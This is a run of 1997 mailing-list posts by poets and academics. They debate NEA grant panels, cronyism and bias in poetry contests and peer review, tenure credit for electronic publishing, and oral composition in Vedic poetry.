I've never served on the individual fellowships panel at the NEA but in 1994 I was a panelist for the small press grants, and in 1995, chaired that panel, and I very much agree with Ron regarding the benefits and relative fairness of the book grants. The fairness may result from the panel's composition, which differs from the fellowship panel, in that publishers, editors, booksellers and usually an outside business person, as well as writers, participate. The presses are scored on book design, distribution efforts, sales, financial management, marketing, etc., as well as "quality" of literature and the "diversity" of the lists. In my experience with the panel, presses were favorably regarded if they managed money well, made efforts to sell books (by linking up with SPD, printing catalogues, placing ads, whatever), design well, and if they published a "diverse" list, by which they meant race/gender/ethnicity. Each of these factors was independently scored. (Panelists spent months reading application materials which included detailed financial statements and plans, as well as publications in advance). At the end of the day, we were given our tallies: a list of the presses in the order in which they had been scored by us. We were then told where the "cut off" was--the line above which presses would be funded. On our list of, say, 273 presses, we would learn that only the first 84 would get money. We could then review the presses close to the line on either side. Both years, we asked for (and got) additional funding for two or three presses. Both years, we felt that twice or three times as many presses should have been helped, were deserving of support, as received the aid. The sad news is that there is no longer

a small press panel. I believe there are categories in which the presses may still apply for NEA support, but the literature program has been eliminated, along with all other "discipline-based" programs. Only the individual fellowship grants remain in place (for the reason I posted earlier). Having said all this, however, I was very disconcerted to encounter such strong resistance to innovative/experimental writing, and the arguments deployed against it were quite spurious. "Appeals only to a small coterie," etc. This, it seemed to me, could be said of all serious writing. I found it useful, in these instances, to play the "diversity" card in a different manner.

--Carolyn

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650. **Joseph Duemer**
bias in judging
Thu 22 May 1997

Just so we don't get the idea that we're the only ones who have to wrestle with issues of rewards and bias, here's a short piece from the Chronicle of Higher Education, distributed to the Clarkson Liberal Arts faculty by our dean, bless his heart.

MAGAZINES & JOURNALS

A glance at today's issue of "Nature":
Swedish study finds sexism in peer review

Why do few women hold high academic positions in biomedicine? Among the many theories is the view that women are less productive than men. But Christine Wenneras and Agnes Wold, two researchers at Sweden's Goteborg University, found that the peer-review system was to blame. The researchers examined the peer-review system of the Swedish Medical Research Council and compared the productivity of male and female scientists with the scores they had received in applications for postdoctoral fellowships. The reviewers, they found, had consistently given female applicants lower scores than equally productive men. In some cases, they found that female applicants would have had to publish three extra papers in "Nature" or "Science," or 20 extra papers in less-prestigious journals, to be ranked the same as male applicants. "If gender discrimination of the magnitude we have observed is operative in the peer-review systems of other research councils and grant-awarding organizations, and in countries other than Sweden," they write, that could account for the discrepancy. (The journal may be found at your library or newsstand.)

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Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of the earth both comes and goes at once."
Wallace Stevens

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651. David Kellogg
Re: bias in judging
Thu 22 May 1997

Interesting piece about bias. Having worked as a managing editor for a scientific journal (J. Neurosci.), I believe it. But I have to comment:

> *(The journal may be found at your library or newsstand.)*

"Nature"?

I've yet to see "Nature" at a newsstand. Perhaps it's hidden somewhere behind "Hustler".

And now back to our regular programming.

Cheers,
David
~~~
~~~

652. **dbkk**
"Horror Tape Script"
Thu 22 May 1997

Hello everyone, it's Kevin Killian. I hope all of you in the San Francisco Bay Area this weekend, especially you visitors, come to see me in my greatest role in Raymond Pettibon's play "Horror Tape Script" which we are putting on at New Langton Arts on Friday and Sunday. That's at 1246 Folsom between 8th and 9th (San Francisco).

Those of you who have seen Pettibon's work, say at the Whitney Biennial, will be glad to know that besides having written the play, he has designed this production too. I am playing "Grif," the fullback for the John Dewey High School Bobcats, and Wayne Smith and Edmund Berrigan are my team mates. We bring our cheerleader girl friends (Mark Ewert, Cliff Hengst and Karla Milosevich) to a deserted mountain lake in the woods and then the play turns into a kind of Friday the 13th/Berlin Alexanderplatz kind of festival of violence and sensation. Don't miss it if you possibly can, we've been rehearsing like crazy and it should be terrific. We're doing this play in support of the new exhibition at Langton by D-L Alvarez and Ruby Neri which opens tonight. On Saturday if you are still in town Carla Harryman and Lyn Hejinian will be reading, same space, same location, amid Pettibon's marvelous sets.

So, come on down. Thanks everyone. Hope to see you, I'll be there in my supporter and thigh pads, dress accordingly.

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653. **William Burmeister Prod**
Re: Jameson's Prose
Thu 22 May 1997

> *We're all Young Turks here--who, to answer*
> *an etymological fallacy, were the mid-nineteenth-century reformers*
> *in the Ottoman Empire.*

Well, the Young Turks were the would-be reformers of the Ottoman Empire. They were also the ones that betrayed the trust of the dominant Armenian political party in Turkey in 1908, the Dashnakhzagans, and became fully responsible for the systematic genocide of the Armenian people in Turkey and the Near East from 1908 until around 1922 when their leader, Enver Pasha, was killed by the Russians in mopdern day Armenia.

Bill B.

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654. **amato**
Re: NEA, cronyism, etc.
Thu 22 May 1997

ok, i'll delurk on this one!... in addition to all the really fine points being made:

-- in academic terms, there are distinctions to be drawn twixt the 'scholarly' and the 'creative'---relatively speaking, few 'creative' publications with which i've been associated conduct "blind review"... whereas scholars pride themselves on same... now (you folks know me well enough to know that) i don't believe that "blind review" is generally, or in its entirety, blind, and i certainly don't wish to privilege the scholarly over the creative... as some of you have pointed out, there is a selection process that generally takes place *first*... an editor for a well-known academic press once confided in me that if he didn't want a manuscript published, he *could* simply send it to an editor whom he knew would reject it... those of us who've been involved in "blind reviews" know that we were asked to review such & such... which is not exactly to argue against same, but to reinforce the point made by joseph deumer re the way this process works, can work... gwyn's account (thanx gwyn) of the awp jorie graham situation is, in my view, and given the stated contest criteria, deplorable...

--- BUT as maria d. indicated, wrt tenure, this idea of "anonymity" is entirely problematic in itself... as though "fairness" (what? who?) were at stake... moving the discussion of evaluation to tenure, btw, is a gear-shift, yes---please bear with me... there are depts. that conduct only INTERNAL tenure review (they don't use external reviewers), there are some that use only external reviews, some that use both, some that require (as maria indicated) "anonymous" external reviews... this is all very contentious, the entire tenure system is all very contentious... and incredibly ambiguous---did any of you read in _the chronicle_ about m. norton wise having been rejected for tenure at princeton?... m. norton wise?---C'MON!... if he's vulnerable to such capriciousness (and hidden agenda), *everybody* is... but isn't the point here, in any case (and to switch back to publication, which is btw so keyed to tenure in academe) that anonymity can get you published and unpublished, and that recognition too can get you published and unpublished?... reputations can work against you... and anonymity, again, is compromised by *any form* of advocacy---what so many judges view as the imprimatur of their "taste" (which, simply by virtue of being chosen as judges, judges often feel has been somehow legitimated)... that said, i've judged material mself, and i try to be open as i can to that which is not entirely to my liking... and to say it as simply as i can, it's NOT EZ...

--- still, a further complication: i need here to beat the drum some of the media question... the most problematic review situations of which i'm aware have to do with how to evaluate work in (what is perceived as) a new medium... how

CAN you evaluate a hypertext if in fact there are no generally agreed-upon "standards," however fraught, for what a hypertext is supposed to "do"?... that is to say, when the question of "standards" itself, which in so many cases is a canard when it comes to art, cannot be erected as a putatively neutral arbiter of value... and doesn't the media question highlight the general inadequacy of (1) simple "blind review" AND (2) mere advocacy?... as to (1), you have to choose somebody as a reviewer, as in all such reviews but here even more critical perhaps, who can be "open-minded" enough to somehow (how?) evaluate that which is emerging as such... and as to (2), you want somebody to be selective, *even as* they advocate said emerging item... you don't want, that is, simply to import w/o critical intervention criteria from print textuality into electronic textuality... this is one reason why it may be necessary to maintain the UNblind review status of so many electronic venues---to keep them fresh, as it were, and to finally, finally permit less orthodox work to get some air-play...

--- all of which is to say one thing further: as a writer, i just wasn't weaned on the contest track... i know many writers, some of them mighty fine writers, whose entire self-image rests on putting together manuscripts and submitting them to contests and award series and the like... i think we was raised on different planets... while i understand the value and security of such writing networks, i have never quite trusted them to value what i value... perhaps primarily b/c i sense the sheer power distributed throughout such regions... at the same time, i know damn well that i could *never* have seen an academic book in print w/o the sheer advocacy of like-minded souls... so in all, i'd have to say that this entire question of evaluation is made messy by the all-too-human structures we've created that (can) aspire to awarding meritorious work... whatever the ethix implied here, seems to me we need to be willing to *say* as accurately as possible what's going on... and to take some responsibility---if we're judging or evaluating---for making our decisions understood to our various publics...

btw, imho, the contest model has become the model *against which* the slam scene rails... slams did not invent the agonistic spectacle of poetry on the hoof... in effect, both the slam event and the more specifically mfa-directed (sorry you mfa-ers!---not your fault) contest acquisitions approach to publication share a certain similarity in this regard... yes---here the craft/voice thread is most pertinent, the capacity for "identification" linked tacitly and not so tacitly with "value"... and as to publishing one's friends: friends often publish friends, and there's nothing wrong with this, as long as it's out in the open... it *may* lead to a product saturated with a specific aesthetic (however 'successful' or 'unsuccessful'), but here the question of friendship is a problem only if one is concerned with sales, or with what non-friendly audiences may think... if (as eliza indicates) your role on an editorial board is broadly conceived as serving a public constituency that is competing (in effect) for publication space, there may be

good reason not to publish your own work in such a place... on the other hand, i have been *asked* (by my seniors) as an editorial board member to publish work in the respective journal simply b/c they wanted something "different"... now i'm not really comfortable with this (my call!) so next time i'm asked i'll be *selecting* somebody else(s)... one may, of course, consider all publications as simply prize-winning fora... but this latter, i think, constitutes a reduction i'm just not willing to make...

finally (!)---what *about* this discussion, here, in these spaces?... speaking of gossip (see epic/redux thread) this is a fine medium for pulling out and displaying the hidden variables, provided we're coming at same with care and goodwill... i'd like to see it stay that way...

best,

joe

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655. **George Thompson**
Re: arguing orality
Thu 22 May 1997

Ken,

I'll make a few general points that may be of interest to the list as a whole, and then maybe we can continue the discussion of details off-list [I'd like to; the issues are important for me]. I do not want to step into the breach [a formula, btw] between the different orality camps. There are issues, like the crude distinction between improvisation and memorization, which Parry-Lord admittedly have not handled well. And other issues, like a precise definition of "formula" and the degree to which the formula may be a mark of orality, innovation vs. tradition, etc., are too complicated to be worked through in a brief post. It might be interesting explore these off-list.

Putting aside Parry-Lord, Ong, Finnegan, Goody, and other oralists who doubt that Vedic is unambiguously oral are *badly* misinformed. There is no evidence whatsover of any writing on the Indian subcontinent before 4th cent. BCE [putting aside the Indus Valley script, which has not been deciphered, and with which the Vedic clans had no contact] - and there is no reference to writing in early Vedic. The hymns of the Rgveda were composed orally and transmitted orally [and still are transmitted orally] -- this is a point that Ong et al. badly confuse. The astonishing mnemonic techniques that were used to memorize Vedic texts [literally backwards and forwards -- without writing!] might be worth talking about at some point. But this is a technique of *transmission*, not of composition. It is obvious to all Vedicists that there are good measures of both

memorization and improvisation in the *composition* of Vedic texts [so that one could use Vedic to dispute with Lord's insistence that oral texts are not memorized compositions]. It is true, though, that Vedicists have not kept up with oral theory [except for moi, and maybe one or two others].

A far more important point is this [and I'll try to be brief]:for me the most significant thing that the P-L thesis has done is to contribute to a new way of seeing composition in general [not just oral! and not just poetic!]. The basic unit of composition is *not* the individual [aha!] word, but rather the formula. The metaphor "flow of speech" [which is very old and very good] suggests that the segmentation of "speech" [cf. Grk. "epos", Skt. "vacas"; also the related Latin "vox"] is arbitrary [think of Heraclitus]. Certain linguists and grammarians and others might for personal reasons choose the isolable word as their primary unit of analysis [i.e., segmentation]. But others [like certain native grammarians of India] preferred to work with larger units [like "complete thought" - "sphota"]. I wld suggest that this is how Vedic poets operated too: with larger units. Not that they couldn't segment out the individual word when they wanted or needed to, but rather that the *basic* unit that they worked with was larger than the individual word.

In Vedic poetics, the basic unit of analysis is the formula, which I wld define loosely [I agree that the P-L model has been mechanistic and static]: a word string that is perceived as a meaningful unit and that can be manipulated as such [sometimes coinciding with metrical units, sometimes not].

I think this sort of analysis [at a higher level than the word] might work with other poetries. What do you think?

Besides P-L and the Sanskrit grammarians [the planet's first true linguists] other sources for this poetics are Jakobson, Benveniste [and in general theorists of a semiotics of discourse].

Of course, now I've gone over the edge and have abandoned the orality-literacy distinction completely...

Hope this makes sense.
George

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656. **Daniel Tessitore**
judges
Thu 22 May 1997

We should remember that those Ms. Graham selected would not have been selected had those students not earned her respect and admiration well before

then. Certainly she has had more than ONE student in the years she has been teaching.

DT

From: David Israel[SMTP:[redacted]]
Sent: Thursday, May 22, 1997 12:56 PM
To: [redacted]
Subject: Re: Clarification

Gwyn --

<< . . . That is the sequence of events. It makes me uneasy. I am willing to accept that I may be mistaken on this one. What do the rest of you think? >>

Thanks for setting forth this little history in much clearer detail --

such a scenario does seem surprising unsettling, and potentially scandalous. In fact, it would be a matter for surprise if Jorie were not to hear a good deal about these questions, anon. (And one can't help but wonder whether, in the end, such a compromised-seeming situation could very well redound to the credit of those selected, for that matter.) Off hand -- given merely the info & version of things you've shared -- there seems an odd suggestion of hubris (rather classically construed).

A side note: besides the issue of those Iowa students, I must confess some startlement (not having kept track) that Ms. Graham was called in to serve as judge in no less than three distinct competitions of this type, one after another.

We human beings (& poets) are famed for our flaws, no doubt. While I'm sure I'll continue to admire Jorie's astonishing poetry, yet a less salutory manner of astonishment does creep into the picture here. Naturally, the poet must have her own perception and conception of what was going on. I hope she sees her way clear to share that with us, in the course of things.

(I'll even admit to being mildly hopeful of one further surprise-twist: a *somehow* more-satisfying explanation for the events you've related?)

d.i.

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657. **Henry**
Re: NEA, cronyism, etc.
Thu 22 May 1997

Joe, do you mind if I summarize what I see as a couple of your points? You decry what happened in the Graham case as Gwyn described. But you don't see the

point of these contests anyway & slams (another kind of contest) have showed one alternative. Electronic publication raises a whole new set of issues. & the whole thing is murky & complex & friends will help each other & what they believe in and "anonymity" is an abstract ideal.

ok? Too reductive, probably. Here's what I say. Yes, contests inevitably involve power, prestige, publication, past history. But the potential is there for contests to be an extension of the basic author/reader relationship, and the basic author/editor relationship. In other words: when I write something, I want it to stand on its own 2 feet & maybe interest an INDEPENDENT reader. (I'm using "I" here in sort of an impersonal exemplary mode.) (Still an individual, though!) I expect editors to try to act also as themselves - as independent readers (with all the tendencies which I will try to inform myself about regarding their publication). And I expect contests to act in exactly the same fashion. I would like them to judge my work anonymously & play by the rules as far as they are able. Just read it. You'll see it's better than anybody else's stuff & I should have had my own monikered leatherbound easy chair at the Academy of Fussbudget Letters long ago.

I don't see this as a totally unattainable ideal. Nor do I see it as the be all & end all, OF COURSE!!! Where would we be without editors & publishers who pursue their own leads & taste & are very finicky? I hear a lot of waffling on this thread. Get in line, gang, & give me the money. - Henry G.

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658. **CHRIS MANN**

Re: NEA, cronyism, etc.

Thu 22 May 1997

---

i've been following this thread with interest. however, what strikes me about the testimonials and the kvetching both is the more-would-be-better reductionism. two points: peer assessment for that without peer is at the very least suspect, and the design brief of most bureaucracies is to function with as few mistakes as possible. i admit to being disappointed by the normative aspect of most rewards for merit, but i positively lust after those dysfunctions of the state of play that grant insight into what passes for an economy of ideas. prejudice against mistakes (yes, it's public money, but it's all public money!) will always and only give us more of what we know and what we know is obviously..

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659. **amato**
Re: NEA, cronyism, etc.
Thu 22 May 1997

henry, my post was trying to tiptoe on the line twixt what i mself find desirable (for me!) and what i think i can add to what others may find desirable... of course this is itself an act of judgment...

i am tiptoeing simply b/c i don't share some folks' enthusiasm for awards and contests and so forth, but would certainly not turn one down if offered!... nor would i turn down some bucks!... make sense?... i hope so... in any case, i trust we can balance and maintain irreconcilable epistemologies (if this is what they be)... and i don't think, though i'm not quite sure you meant this, that this balancing act is "waffling," if by "waffling" you meant to imply a lack of moral certainty or some such...

it's just not, never has been, in my experience, a matter of "neutralities"... yes, there is anonymous review, to varying degrees---but this then becomes a matter of somebody or other's taste... and i can't imagine that taste isn't time- and place-bound (we really don't need bourdieu to understand this, but if you like bourdieu, why then---)...

so of course i assume there are times when we'll all, to varying degrees, be writing for our friends... and times when we may find ourselves writing for some collective fiction... who knows?---mebbe our 'friends' are fictions too?!... but the point here is that there is no one or two ways to understand this contest/awards thing, as either "blind" or simple advocacy... whatever way you come to it, of course, i would think it wise to include that political-institutional dimension (which is, ironically enough, the dimension that tends to get excluded)...

personally, i don't aspire to fame in such terms... i did, at the advice of my friends and publisher (and in part for my publisher's sake) try to enter my first book into all sortsa contests... came up with beans, but it didn't mean much to me b/c it was all ex post facto... what i once imagined were contest/award possibilities (some time back) evaporated for me as quickly as i became disillusioned with the realities of same---i.e., once i found mself more on the judging side of things... while i feel i can do some good as a judge (and others can too), as a writer i find i just can't direct mself toward same... some can (some who are my friends, again)...

so it's very much a matter of how you construct yourself as a writer... for me, there are times i want to make some money... i haven't been real good at this, btw, but i'm trying!... at the same time, if i write simply FOR money, i am, in my view, in real trouble...

best,

joe

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660. **Joseph Duemer**
Re: NEA, cronyism, etc.
Thu 22 May 1997

Henry, Thanks for your thoughtful questions. "Decry" may be too strong a term, but it does seem fishy on ethical grounds. The point of contests? I think I see the point & I've entered a few myself. My first book was published by Georgia out of a batch of first books they solicit each year, and my secodn during a "contest" sponsored by Owl Creek, but neither of these paid a chas prize, and both were done in-house. So are these contests? One had an outside reader, the other didn't. What I'm driving at is that there is a whole range of competitions, some more like contests than others. OK, but that's background. Slams do provide an alternative, and I have never said they shouldn't prosper, only that with my aesthetic I'm not comfortable participating in them. So, I don't really have a problem with competition in the arts in general or poetry in particular. But once you admit competition, you want the conditions of any particular instance to be consistent, I think. Which doesn't mean their couldn't be a range of competitions from the blind peer-review model of the sciences all the way over to a judge just plain old soliciting the book they want to win from one of their students (Doesn't this happen in the National?)--as long as everybody knows from the start how the thing will run. Does that clarify my position? And I'm so new to cyber-anything I can't speak to the ethics of electronic publication, though it seems like it might produce in time a functional alternative.

Probably it would be better if the world were a better place and everybody agreed that we would read poems as poems & forget the author's name and/or reputation even when we know it. Having been raised by fundamentalists, however, I am very suspicious of better worlds, so I'm skeptical about your "I don't see this as an unattainable ideal." Not to be overly cynical, but in my book, all ideals are unattainable.

It really comes down, doesn't it, to the line between a judge advocating a KIND of work, and advocating the work of a particular student? I do a fair amount of editing, and I know other editors, and I know a couple of folks who have served on NEA review panels, and we all, I think, to the best of our ability, try to read the work that walks through the door on its own two feet. Now I know there are editors and judges who don't do this, but they have to live with themselves.

Well, I seem, as is my wont, to have rambled off the topic. If I haven't made myself clear, or responded to your specific issues, try me again.

best,
JD

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of the earth both comes and goes at once."
Wallace Stevens

↑ Index

661. **Hugh Steinberg**
Re: NEA, cronyism, etc.
Thu 22 May 1997

Ron Silliman writes:

> *The real value of the Endowment has been in the book grants, which have done a substantial amount to underwrite thousands of good small press books. Every time Sun&Moon or Segue or Chax or Grey Wolf or whomever gets a grant, I get the benefit and so do you. If Steve Dickison or somebody from SPD is on the list, I'd be curious to get a sense of what percent of the books that store carries were underwritten at least in part by the endowment (whatever the number, I'm sure that it's gone down significantly in the past 5 years).*
>
> *And, for whatever reason, the book grants have been notably more even handed than the fellowships for years.*

I couldn't agree more. Although I would love to get an NEA grant for myself, I'm quite proud of the NEA grant money I helped raise for Tia Chucha. Individuals tend to be a lot more resiliant to arts funding cutbacks than institutions, with publishing, by being so capital intensive, the most vulnerable literary institution around. Without that money, there would be a lot fewer books around, to the loss of us all.

Hugh Steinberg

↑ Index

662. Joseph Duemer
Re: NEA, cronyism, etc.
Thu 22 May 1997

Henry: Two Joes have responded to your query. Your summary of Joe Amato's post sounded like an attempt to pin some of mine down that I responded--well, anything for the mix! (Actually, your questions made me frame my thoughts more clearly, so thanks!)

best,
Joe (the second)

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of the earth both comes and goes at once."
Wallace Stevens

↑ Index

663. Maria Damon
electronic publishing
Thu 22 May 1997

joe a mentioned electronic publishing as an alternative to print, and it's pretty clear to all that this is the wave of the future. however, my dept, which only recognizes number of pages published when it passes out "merit pay" (there's no cost of living increase) changes the rules when it comes to electronic publishing. rather than count ms pages and then figure what it wd be in print, as they do with print articles, they cut that number in half, on the assumption that standards are less rigorous for electronic journals. I recently published a 30pp ms article in Postmodern Culture, and tho' i proved to them that the journal was refereed and owned by Johns Hopkins, they assigned the absolute minimum, the same as i'd have gotten for a couple of 500 word reviews.

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664. Christina Fairbank Chirot
Re: Clarification
Thu 22 May 1997

"Judge not, lest ye be judged . . ."

Bob Grumman had an excellent point--appointing a judge can pre-determine a case--an award--

There is no taxonomy without taxation just as to be defined is to be fined.

(Antithetically, Picasso claimed: "I don't seek, I find . . . ")

Tammany Hall is ever with us. There's been quite an increasing storm of attacks on judges in the last few years--Federal judges--by various interest groups, each of whom feels that the person on the bench has not their interests in mind--whether it be the death penalty,abortion rights--or that the judge is a drunk or an atheist or in some other way incapable of seeing things "the right way".

As Claude Rains said in Casablanca: "What!!! There's gambling going on here! I'm shocked! Round up the usual suspects!"

In a wonderful essay called "MNMLST POETRY: Unacclaimed but Flourishing" up at Light and Dust (http://www.thing.net/~grist/homekarl.htm) Bob Grumman notes that his all time favorite minimalist poem is Aram Saroyan's

lighght

this poem, to be sure--caused a brouhaha with the the NEA nearly thirty years ago . . .

"Plus ca change . . ."

In the early 1940's Henry Miller and the painter Abe Rattner applied for Guggenheim Fellowships. They wanted to travel the USA, from which they'd been in voluntary exile for a decade and write and paint about the place.Miller at the age of fifty learned to drive to undertake the trip. Rattner had to cancel out and Miller continued on alone.

The pair never received a Grant, but Miller wrote a book about the trip.

It's called The Air-Conditioned Nightmare.

The book concludes with an Addenda listing all those who received awards and giving the address to apply for them.

It's easy to say "Let there be light"--

just don't expect much "lighght"

or as the Brazilian proverb has it:

"When shit is worth money, the poor will be born without assholes"

--dbchirot

↑ Index

665. **Hugh Steinberg**
Re: Clarification
Thu 22 May 1997

In response to the Jorie Graham issue, this was not the first time I've heard this complaint about her. I would never ask her to judge any contest, and I will not send a manuscript to a contest in which she is a judge (why waste my money when there are all those good books/CDs/beer I can buy?). There are plenty of writers with reputations equal to or exceeding Graham's who are fair and play by the rules. If you're running a contest, ask around and pick them to be your judge.

Hugh Steinberg

↑ Index

666. **groberts**
Mason & Dixon
Thu 22 May 1997

Sorry for the belatedness of this post given the import of the current threads, but just wanted to invite other readers of Mason & Dixon to share questions/comments/conversations from time to time. I have started it just recently, but am glad to see Pynchon still using Various & Sundry ludicrous Songs & Verses. And the names, yes the names...Cherrycoke is truly an Inspired Act of Nomenclature.

Gary R

↑ Index

667. **henry**
Re: NEA, cronyism, etc.
Thu 22 May 1997

Responding to Joe & Joseph, Joe, the "waffle" bit was my kinda humor - not aimed at you. I meant people shd stop waffling & send me the dough. God, what if there were ONLY contests! Sometimes it seems like that in poetwy pubwishing. & what a hellhole that is. Think if the painters had to submit

everything to judges. Well, they do, actually... but there's also a life to be lived there. & in poetry too.

"Some painters, including myself, do not care what chair they are sitting on. It does not even have to be a comfortable one. They are too nervous to find out where they ought to sit. They do not want to "sit in style". Rather, they have found that painting - to be painting at all, in fact - is a way of living today, a style of living, so to speak. That is where the form of it lies. It is exactly in its uselessness [& the public's indifference - HG] that it is free. Those artists do not want to conform. They only want to be inspired." - Willem de Kooning

But all I say is, if there are contests, hey, let them live up to the standards at least of the contest I won in 3rd grade, from the "Alex & His Dog" show (a local tv show). I sent in a picture or something, & got to be on the show & got a pair of two-gun holsters (I mean a 2-gun holster). Still use it today in moments of stress. Now I know that contest had no inside track, no name recognition, no ulterior motive, totally anonymous, based purely on quality according to the judge's most impersonal objective judgement. At'sa way it oughta be. The attainable ideal - on local MN television, no less! - Henry Gould (but then, they do it better in Minnesota...)

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668. Eliza McGrand- CVA Guest

one successful "contest" model.../

Thu 22 May 1997

---

speaking as fiction AND poetry writer for a minute, i've found pushcart prize series a really good model. 1) stories picked are GOOD. i mean, they are just plain interesting and GOOD. a pushcart volume from any year is always a good read...; 2) they have an incredibly diverse database as base. for those who don't know, pushcart small press prize series publishes one collection a year of "best" short stories published that year. they have the most voracious readers in their screening panel that i've ever seen. mags with readerships of 200 from teeny weeny towns in the corners of midwest states to punk 'zines to Old Line Literary Journals to house organs for mfa programs...; 3) they seem to have no particular "camp" or set of cronies. authors included range from pulitzer prize winners to first timers -- for example, i remember a Tim O'Brien story, one of my favorite and so memorable that nine years after reading it, it still drifts into my mind about once a week in one way or another. i also remember a story from a woman who'd never published before. ANYWHERE. it was in a small state run literary journal or something, and got chosen from out of that.

i don't know how they do what they do, but i'd love to see that kind of range and diversity in prizes/contests/magazines/etc.

e

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669. **Jordan Davis**
BOYCOTT CONTESTS WITH READING FEES
Thu 22 May 1997

---

self-publication and redundant electronic publication all the way... J

On Thu, 22 May 1997, Hugh Steinberg wrote:

> *In response to the Jorie Graham issue, this was not the first time I've heard this complaint about her. I would never ask her to judge any contest, and I will not send a manuscript to a contest in which she is a judge (why waste my money when there are all those good books/CDs/beer I can buy?). There are plenty of writers with reputations equal to or exceeding Graham's who are fair and play by the rules. If you're running a contest, ask around and pick them to be your judge.*
>
> *Hugh Steinberg*

↑ Index

670. **amato**
Re: NEA, cronyism, etc.
Thu 22 May 1997

---

it occurs to me, while i'm busy shooting my mouth off in these parts, that i might introduce an example of judging that seems to compromise me no matter what i do...

on my campus, for five years now, i've judged, along with my colleagues, a departmental writing contest... i judge, among other categories, our poetry and fiction awards, each of which gives a top prize of $250---hardly insignificant!... at the same time, students may submit multiple entries, and may work with faculty (are encouraged to do so!) on their entries...

now given that i'm one of two faculty who teaches creative writing, i tend to see my students' work showing up as submissions... technically, work is supposed to be anonymously submitted, but nobody makes any bones about the fact that it's not this way de facto---and how *can* it be anonymous if we work with students?...

needless to say, i try as i can to pick what i think is the best work... and b/c [he sez], the better writers tend to migrate into my courses (being as how i'm on a tech campus and teaching creative writing), i end up often picking the writing of students in my classes, "my" students (i'm not the only judge, but still)... in

any case i try, i try to pick (for 1st, 2nd, 3rd place) the best of various different writing styles...

i do what i can, that is... but what i also do each year is revisit (for mself that is) what the function of this contest is supposed to do... as i see it, it's supposed to provide students with some spending money (much needed given our high tuition, and the economic class of many of our students), it's supposed to encourage writing, and it's supposed to reward talent (perhaps in order of increasing supposed-to's)... ysee, it's supposed to do so many things...

so when i say that the jorie graham-awp situation is "deplorable," i am trying to be forgiving, i am trying, based on gwyn's account, to 'account for' what it means to choose one's students---and i have some experience in doing so, albeit in what i think is a substantively different context (one with a pretty clear authority hierarchy, to boot, twixt teacher and student, that is part of the contest structure)...

anyway, advocacy is all tied up in what i do as judge---i try to advocate the best of different aesthetics... at the same time, i try to be fair... but i end up (generally) picking my own students' work, no doubt revealing my prejudices in the process... one can argue that the contest itself is flawed in concept, but then---can you really set it up so as to avoid entirely these sorts of conflicts?... in any case, it's *not* set up that way, we are *not* allowed to change it (the money comes from an endowment, with stipulations), and $250 a pop is $250---sure to help somebody...

best,

joe

↑ Index

671. **henry**
Re: NEA, cronyism, etc.
Thu 22 May 1997

---

re: Joe's dilemma: a light suddenly went on: why not get an outside judge? Attainable ideals begin at home, quoth Everyman the Couch Potato.

In Minnesota, they have a well-run contest called Happy Face Awards. You go into a supermarket. These people in clerk smocks are waiting there, smiling at you. If you smile back, you're in the running. Out of the blue, you get this envelope in the mail, with your very own photo of yourself, entering the store, along with a gift certificate for anything in the smorgasbord section! This contest really rewards people for beautifying their environment with joyful countenance & the appearance of inner peace. No names involved (they get that from the electronic eye at the check-out counter). - A Real Minnesotan ("It's been real")

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672. **Bob Grumman**
Re: Clarification
Thu 22 May 1997

Henry Gould makes a good point about "the AWP award (being) designed so that the judge would choose from finalists selected by AWP rather than personal favorites or students of hers," something I didn't know. Once again I've responded before knowing the full background. Hard not to with such a buzzer-stabber of a topic. I would still contend that the contest is, in effect, pre-judged: a group of people decide a certain kind of poet should be given money so pick the screeners and judge or judges they think most likely to reward that kind of poet.

Jorie Graham, if she acted as reported, went over the line, though, I would now agree to that.

Henry's suggestions about ways to improve judging make sense, too. I particularly go for the idea of making it possible for a judge not understanding some poet's work to get a second opinion. How to get that judge to admit to lack of understanding, though. . . .

As for books getting better treatment from the NEA than individual writers, which is probably true, I suspect it's because: (1) there aren't as many presses as poets (and they don't take rejection so personally), and (2) awards to presses are awards to groups--i.e., to the several writers a given press has published; so compromises are easier: Judge X can be charitable to the publisher of other-stream poet Q, whom Judge X despises, because the same publisher published knownstream poet R, whom Judge X loves.

--Bob G

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673. **amato**
Re: electronic publishing
Thu 22 May 1997

maria, of course your dept. doing that is absolute bullshit...

this is the sort of thing that's calculated to ruin the eletronic environment, at least in terms of academic participation... next they'll be saying that "only such & such online work" will count toward tenure... tell me, what "value" do they assign to a hypertext?...

what's even more intriguing is the difference twixt u of minnesota and where i am... here, we don't "assign" value to publications as such... we have no written criteria as to what constitutes sufficient publication for tenure... every time i ask this question i'm told that this "can't" be done... when so many institutions do just that...

if you assign value, you tend to reify categories... at the same time, if you don't, tenure candidates are left groping for direction... i would think that general guidelines for publication should be provided, and that these should be flexible enough to permit for innovative work [note my dropping into adminese]...

in any case, i participated in a symposium held at uic this past weekend, on "the teaching of cyberspace through online courses"... the symposium was led by jim sosnoski, who teaches in the english dept. at uic... among the many topics discussed over two days was this question of tenure & promotion for online work (including publication, teaching, moos, etc.)... suffice to say that this debate will continue, and that (i hope) its terms will alter in the process...

once again i found mself advocating [wink] that we use these newer media to help institute change... against which, some tend to see such media as merely extensions of the print world, authority and all intact---'let's preserve the status quo'...

anyway... an essay in _pmc_ is an essay in a critical journal, period... the idea of devising some sort of "conversion table" strikes me as sheer nonsense...

best,

joe

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674. **amato**

Re: NEA, cronyism, etc.

Thu 22 May 1997

---

henry, an outside judge is a good idea... but it won't happen on my campus, given that you'd most probably have to PAY somebody to do alla that reading!... and that, even setting aside the matter of money, my dept. likes to keep such activities 'in-house'... all sortsa reasons why that i won't go into... one reason i *will* mention is that, by keeping it in-house, we look (as a dept. of humanities on a tech. campus) as though *we're* putting in the extra effort, making a vital contribution to the campus that's not "service"-related, etc... not that we aren't, but---

but you know this tune, i'm sure...

i'm not blaming anybody in my dept.---it's just the way things work, have worked, for over twenty years now... and twenty years is, well, twenty years...

best,

joe

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675. **George Thompson**
Re: Etymological Fallacy
Thu 22 May 1997

Hi Mark. George again. About this:

>The issue was the denotation of a particular word. It is possible to argue
>that "epic" was understood by Greeks in say, 400 BC, differently than it had
>been understood 400 years earlier without changing the meaning of the word
>so that it no longer denotes anything reliably--so that it no longer
>communicates efficiently.
>
